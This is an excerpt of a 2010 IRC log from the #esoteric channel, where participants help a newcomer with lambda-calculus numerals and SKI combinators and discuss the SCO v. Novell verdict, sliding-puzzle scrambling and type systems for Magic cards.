< 1269979035 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Unfortunately, I don't know enough Esperanto to construct a meaningful response. < 1269979060 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So let me just acknowledge that you said "jes", which means "yes". < 1269979103 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :esperaco < 1269979412 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Indeed. < 1269979430 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also, a meaningful response would just be "Mi komprenas". < 1269979431 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269979465 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Or perhaps even 'Mi komprenas ke "j's" estas "jes"'. < 1269979497 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Alternately, you could just speak English, as such is the typical language for this room. < 1269979519 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :m' sh't's 'sp'r'nt' < 1269979525 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :translation: "my shits sprint" < 1269979599 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sナtqゐエpbヴ葉Sペりうじゃギアpcvkx偽PツQ件がspd < 1269979617 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Translation: fuck if I know, I just hit Ctrl-Space and pounded on the keyboard for a bit. < 1269979932 0 :adam_d_!unknown@unknown.invalid NICK :adam_d < 1269980136 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So, he committed without a test build, and left an infinite loop somewhere in there < 1269980147 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm just going to shove it to the side while I try to make the deadline < 1269980155 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :His code is not deadline related in any way < 1269980938 0 :oklopol!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1269981072 0 :charlesq__!unknown@unknown.invalid QUIT :Quit: Saliendo < 1269981080 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1269981244 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 615 seconds < 1269981459 0 :MigoMipo!~migomipo@84-217-3-248.tn.glocalnet.net JOIN :#esoteric < 1269983006 0 :hiato!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269983042 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1269984056 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269984845 0 :Oranjer!~HP_Admini@adsl-243-221-66.cae.bellsouth.net JOIN :#esoteric < 1269985435 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :this rihanna song seemed a lot nicer before i read the lyrics < 1269985760 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269986140 0 :atrapado!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269986278 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269986646 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269986719 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269986722 0 :gigo!~gigo@unaffiliated/gigo JOIN :#esoteric < 1269986749 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :I am using L for lambda. I represent 1 = Ls.s, 2 = Ls.ss, 3 = Ls.sss and so on. I want a way to express addition operation in lambda calculus. < 1269986762 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :I mean, I want some function S such that 2S3 or S23 results in 5 = Ls.sssss < 1269986772 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :i'm a complete newbie in lambda calculus. the book had some good definitions of successor, addition, etc. but I modified the definition of 1 from Lsz.s(z) to Ls.s and now I am trying to make my own successor, addition, etc. < 1269986832 0 :mblondin!~michael@bas1-stetherese38-2925259401.dsl.bell.ca JOIN :#esoteric < 1269986838 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :isn't it just S? < 1269986843 0 :mblondin!unknown@unknown.invalid PART #esoteric :? < 1269986851 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i mean isn't your S just the S from SKI < 1269986886 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :S23f = (2f)(3f) = (ff)(fff) = (fffff) < 1269986910 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :what is SKI? < 1269986939 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Sxyz = (xz)(yz) < 1269987052 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :gigo: SKI is the SKI combinator calculus. It's Turing complete by way of equivalence with lambda calculus. < 1269987083 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It can be defined as follows: S:=\xyz.xz(yz);K:=\xy.x;I:=\x.x < 1269987085 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :is there any way to do lambda calculus on computers? < 1269987092 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Several. < 1269987105 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :I use Debian Linux. any suggestions? < 1269987107 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Are you familiar with functional programming languages? < 1269987114 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :yes, I know Scheme. < 1269987125 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Scheme is a superset of lambda calculus. < 1269987129 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1269987148 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So, you already possess an interpreter. ;) < 1269987152 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1269987194 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(define s (lambda (x) (lambda (y) (lambda (z) ((x z) (y z))))) < 1269987642 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :So, if S = \xyz.xz(yz) can I say that S23 = \z.(2z (3z)) = \z.( (\s.ss z)(\s.sss z) ) = \z.zzzzz = 5 ? < 1269987849 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the last-but-one step is wrong < 1269987856 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I think, not sure < 1269987859 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :how are 2 and 3 defined? < 1269988035 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :2 = \s.ss and 3 = \s.sss < 1269988040 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :ais523, < 1269988095 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes? < 1269988247 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :ais523, i answered your question about how 2 and 3 are defined < 1269988253 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, I noticed < 1269988257 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :just didn't have anything more to say < 1269988269 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :so, why is the last-but-one step wrong? < 1269988273 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I don't see how \z.(2z)(3z) = 5 < 1269988295 0 :cheater2!~cheater@ip-80-226-31-71.vodafone-net.de JOIN :#esoteric < 1269988305 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :2z = \s.ss z = zz < 1269988314 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :similarly, 3z = zzz < 1269988318 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, and (zz)(zzz) != (zzzzz) < 1269988324 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1269988348 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1269988351 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the usual definition of 2, btw, is \f.\x.f(fx) < 1269988379 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :and that of 3? < 1269988386 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :\f.\x.f(f(fx)) < 1269988400 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :why do you write the inner most thing as fx and not f(x) < 1269988409 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :how about 2 as \f.\x.f(f(x)) ? < 1269988417 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's a standard abbreviation < 1269988420 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1269988457 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :abc = (a(b))(c) < 1269988470 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and langs like haskell actually let you write that < 1269988476 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :rather than having to put all the parens in < 1269988543 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :so, abcd = ((a(b))(c))(d) ? < 1269988565 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269988576 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :can i wrte abc = (ab)c as well? < 1269988580 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and in a lang that uses currying, that's the standard way to pass three args to a function < 1269988585 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(ab)c is fine, if you want to disambiguate < 1269988587 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1269988596 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but with a(bc) you can't remove the parens < 1269988615 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :so a(bc) = a((b)c) < 1269988629 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ok, that looks weird, but yes I suppose < 1269988642 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(b)c is less usual than b(c), and bc is more common than either when talking in combinator calculus < 1269988680 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the same trick happens with data types; Int -> Int -> Int means Int -> (Int -> Int) < 1269988853 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :so for my definitions of 2, 3, etc. can I make a sum function S? < 1269988874 0 :gigo!unknown@unknown.invalid PRIVMSG #esoteric :2 = \s.ss, 3 = \s.sss, 4 = \s.ssss, 5 = \s.sssss, etc. < 1269988947 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269988990 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269989780 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Numbers in lambda calculus are defined via 0 and the successor function < 1269989842 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269989850 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269990023 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, that's the first rangeblock I've done on Esolang < 1269990029 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hopefully that should stop much of the recent untargeted spam < 1269990039 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269990161 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :goodbye 212.235.106.0/23 < 1269990263 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, jury finds for Novell in SCO v. Novell < 1269990280 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :this is a momentous day, in that nobody can think of a plausible way for SCO to weasel its way out of /that/ one < 1269990291 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although I'm looking forward to what implausible ways they try < 1269990387 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1269990521 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it can still be appealed on procedural grounds < 1269990558 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but that seems unlikely to succeed < 1269990576 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269990753 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, I can't think of a procedural ground where SCO would have a leg to stand on < 1269990767 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :unless something happened that isn't generally known < 1269990934 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I wonder if they're stupid enough to try appealing the verdict directly < 1269990952 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so do I, actually < 1269990973 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :they're running out of money pretty quickly, though < 1269991022 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :well, yeah < 1269991036 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and it's not like appealing a jury verdict works that well in any case < 1269991120 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Our "law in network society" course requires a two-page case note on some related case; I was thinking of writing something about the SCO mess, but it's such a great mess you can't even get started in two pages; I may need to focus on some particular submess of it. < 1269991158 0 :Tritonio_GR!~Tritonio@athedsl-256698.home.otenet.gr JOIN :#esoteric < 1269991198 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :news from SCO is that they plan to sue IBM for breach of contract, because they can do that even without the copyrights < 1269991213 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that doesn't mean they can /win/, ofc < 1269991216 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : S23f = (2f)(3f) = (ff)(fff) = (fffff) < 1269991222 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the final equation is wrong < 1269991269 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :application is not associative < 1269991502 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : 2 = \s.ss, 3 = \s.sss, 4 = \s.ssss, 5 = \s.sssss, etc. < 1269991514 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i can see how to increment those, but addition looks tricky < 1269991583 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :in fact to use it i would probably want to convert into the usual \fx.f(f(...(fx)...)) form first < 1269991617 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if that is possible, then it's easy to do addition afterwards < 1269991687 0 :charlls!unknown@unknown.invalid QUIT :Quit: Saliendo < 1269991698 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the tricky thing about your definition is that it is not obvious how to make an s that can be usefully used with an arbitrary number < 1269991715 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269991719 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269991735 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, how do you define 0? < 1269991758 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the usual definition \x.\y.y doesn't seem to map at all to the fffff version < 1269991781 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :\s.i probably works for that, actually < 1269991818 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :since (inc n) = \s.(ns)s < 1269991828 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1269991831 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :heh, that's the same definition as normal, isn't it? < 1269991833 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :\s.ki < 1269991867 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(or in pure lambda, \s.\t.\x.x) < 1269991886 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, `k`ki? < 1269991895 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1269991904 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1269991905 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I was considering making that a constant in the underlambda standard library < 1269991910 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as an "absence of value" constant < 1269991910 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is confusing himself
< 1269991916 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :unlike `ki, which is just 0 which is a value < 1269991929 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :\s.i is correct < 1269991936 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so \s.\x.x < 1269991967 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :why are we using s as a lambda variable anyway? < 1269991969 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it has a different meaning < 1269991979 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :gigo did < 1269991989 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269991997 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and didn't seem to have heard of combinators before < 1269992047 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1269992060 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :conspiracy < 1269992152 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :now an s to pass in usefully has to be appliable to itself, and somehow construct an "incremented" version of itself when doing so < 1269992202 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and to be useful, there has to be something else that it can be applied to in order to stop the gobbling up of indefinite arguments < 1269992230 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's what i mean < 1269992278 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: that's a lot to get out of the word "conspiracy" < 1269992346 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :or is it? < 1269992364 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :>_> < 1269992405 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :now you're getting it < 1269992651 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1269992711 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ROFL < 1269992732 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :My sliding blocks puzzle has a bug where you can click a piece diagonally adjacent, and it will go in < 1269992807 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :too easy < 1269993023 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What's the easiest way to scramble a sliding blocks puzzle? Simulating random valid moves? < 1269993052 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: yep, to ensure it's solvable < 1269993064 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :IIRC there's a parity rule on those things < 1269993080 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think the original 14-15 was unsolvable < 1269993085 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it was < 1269993117 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, what if you turn the 6 and 9 upside-down? < 1269993129 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION feels cheap for having used a 1 indexed [multidimensional] array, but it turned out to be handy
< 1269993149 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The individual blocks have MoveTo() methods, that null out where the block came from < 1269993159 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So when starting up, I just say they came from 0,0 < 1269993190 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :couldn't you use a dedicated null value? < 1269993193 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :like Haskell's Nothing? < 1269993203 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :rather than forcing an absurd use of 0 in? < 1269993217 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :this is as bad as Underlambda's adding 1 to all character codes so it can use 0 for EOF < 1269993226 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and it's an esolang, and so can get away with that sort of thing < 1269993239 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I happened to be using 1-based indexing anyway, to ease pain on my brain < 1269993250 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Although it occurs to me that it wasn't that helpful < 1269993255 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Speaking of blocks, to follow-up on llbf (LLVM-targeting brainfuck translator), I wrote a Piet compiler that targets LLVM too. < 1269993439 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, it did, a little < 1269993459 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :In-world, in a way that would be difficult to change, there was already a 1-indexed numbering scheme < 1269993487 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But that would just turn into a -1 in ONE place in my code, if I went with 0-indexed < 1269993498 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm already switching x and y < 1269994013 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ok, this scrambler is resulting in way too easy results < 1269994076 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i think sliding blocks puzzles are solvable iff the permutation is even < 1269994183 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :For a 3x3, how many clicks should I be simulating? < 1269994227 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: You wrote a BF compiler targeting LLVM? < 1269994248 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: You missed my wonderful idea for a null value < 1269994261 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: what was it? < 1269994310 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :coppro: You can't really call it a compiler, it's so utterly trivial. It's pretty much like the usual straightforward bf -> C translation, except that it's to LLVM's assembler. < 1269994324 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: like the one in the LLVM examples? < 1269994327 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm starting to think it's a bug in the code rather than a not-so-helpful randomizer < 1269994346 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: do a total scrambling, like with knuth's algorithm, but count the number of swaps done and if it is odd, do an extra one. i think. < 1269994348 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: A type system that takes intersection types up to the maximum, allowing a single value to actually have multiple types, each which is discrete and has its own data; a nullable Integer would then be a {Nil^Integer}; that is, a value of Integer or Nil type, but not both < 1269994366 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: that's what Haskell does, with Maybe < 1269994378 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: No, it's crazier than that < 1269994379 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle < 1269994393 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, it's a case of disjoint unions < 1269994398 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: it's not a case of swaps, IIRC < 1269994403 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's a case of pairs that are out-of-order < 1269994410 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but I can't remember exactly how it works < 1269994420 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :meh' < 1269994428 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Oh, there's one there? I didn't know. < 1269994453 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: examples/BrainF in the main distrubution < 1269994460 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: um i assume those are just two equivalent ways of detecting whether a permutation is odd or even < 1269994481 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: no, because you can swap a number with a blank space without problems, sometimes < 1269994501 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: the idea rose out of the fact that some structures are tough to represent accurately in code; do you know Magic: the Gathering? < 1269994508 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: erm i am assuming the blank space stays put here. i am talking about swaps of the other pieces. < 1269994533 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: yes, I do; I even played it competitively for a while < 1269994533 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think this is good enough. There is a bug stopping the randomizer from starting when the puzzle first starts < 1269994535 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'll have to sneak a peek when I don't have a cat obstructing the computer. < 1269994540 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but got bored when time spiral rotated out < 1269994606 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ah, good. Then you'll understand the thinking that led me to this. If you're representing a Magic card, not all information is applicable to all types of Magic card. For instance, only creatures have power and toughness, and only creatures have creature types, only lands have land types, and so on < 1269994628 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ok, this is "too easy" territory < 1269994635 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: that line's getting more and more blurred as time goes on, but I know what you mean < 1269994685 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Yeah, and that's the tricky bit. There are cards with multiple types, so a creature land should have both land types and creature types. It turns out this is really difficult to represent nicely in a programming language < 1269994716 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, no it isn't < 1269994718 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269994726 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :how would you do it? < 1269994726 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :object-oriented with mixins? Perl6-style, with roles? < 1269994735 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :lua-style, and just use the fields you need? < 1269994748 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1269994754 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :really, it's trivial in any sane OO system, except ones that specifically try to stop you, like Java's and Python's < 1269994774 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :those provide interfaces, but not data < 1269994792 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: those create classes; the data would be in an instantiation of those < 1269994804 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the class may or may not itself be an object, depending on the language < 1269994818 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(it wouldn't be in Perl6 or C++, it would be in Lua, JS and Feather) < 1269994825 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Stop you from doing what? < 1269994826 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1269994837 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: implementing mixins, etc < 1269994854 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ruby has mixins >.> < 1269994855 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :perl6/Moose has roles, C++ has multiple inheritance < 1269994877 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and there'll probably be some way to do that sort of thing in Feather, although single inheritance is easier there than multipl < 1269994880 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*multiple < 1269994883 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :none of that does quite what I want, it's sort of hard to express < 1269994905 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: it's powerful enough to represent a M:tG card, though, which is what you originally wanted < 1269994906 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the closest I can think of is C++'s virtual inheritance, but that's a horrible mess < 1269994924 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: A C program is powerful enough; that doesn't make it easy < 1269994944 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: powerful enough without massively distorting what you're doing, type-wise or code-wise < 1269994984 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: For instance, in C++, you'd have to have a Creature type and a Land type virtually derived from Card, and then have a CreatureLand type derived from both; this is hideous < 1269995001 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: C++ is generally hideous < 1269995007 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :agreed < 1269995024 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in Perl6, you'd have a class Card, and an instance of it with Creature and Land roles applied < 1269995057 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Perl6's roles are closest to what I want, but not quite there yet < 1269995121 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :since they exist apart from classes < 1269995141 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you can create classes with roles in too, if you want to < 1269995144 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The scramber seems to be unwilling to touch the bottom row < 1269995151 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :That's probably why these results are too easyt < 1269995154 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yes, but you can't create something that is both a role and a class < 1269995159 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but then you wouldn't be able to write fun code like "my $file_not_found = true but False;" < 1269995246 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269995303 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :true but False is like true in every respect, except for being false < 1269995306 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, you can do that in Feather too < 1269995335 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :except that you'd have to decide whether the value itself was truth or falsity < 1269995530 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What happens if I swap two random pieces an even number of times? < 1269995530 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah, my imaginary system would have such similarities < 1269995591 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :except that truthiness and falsehood would not be arole < 1269995611 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: should work < 1269995656 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Would it result in more difficult puzzles than simulating clicks n times seem to? < 1269995694 0 :oerjan!unknown@unknown.invalid PRIVMSG 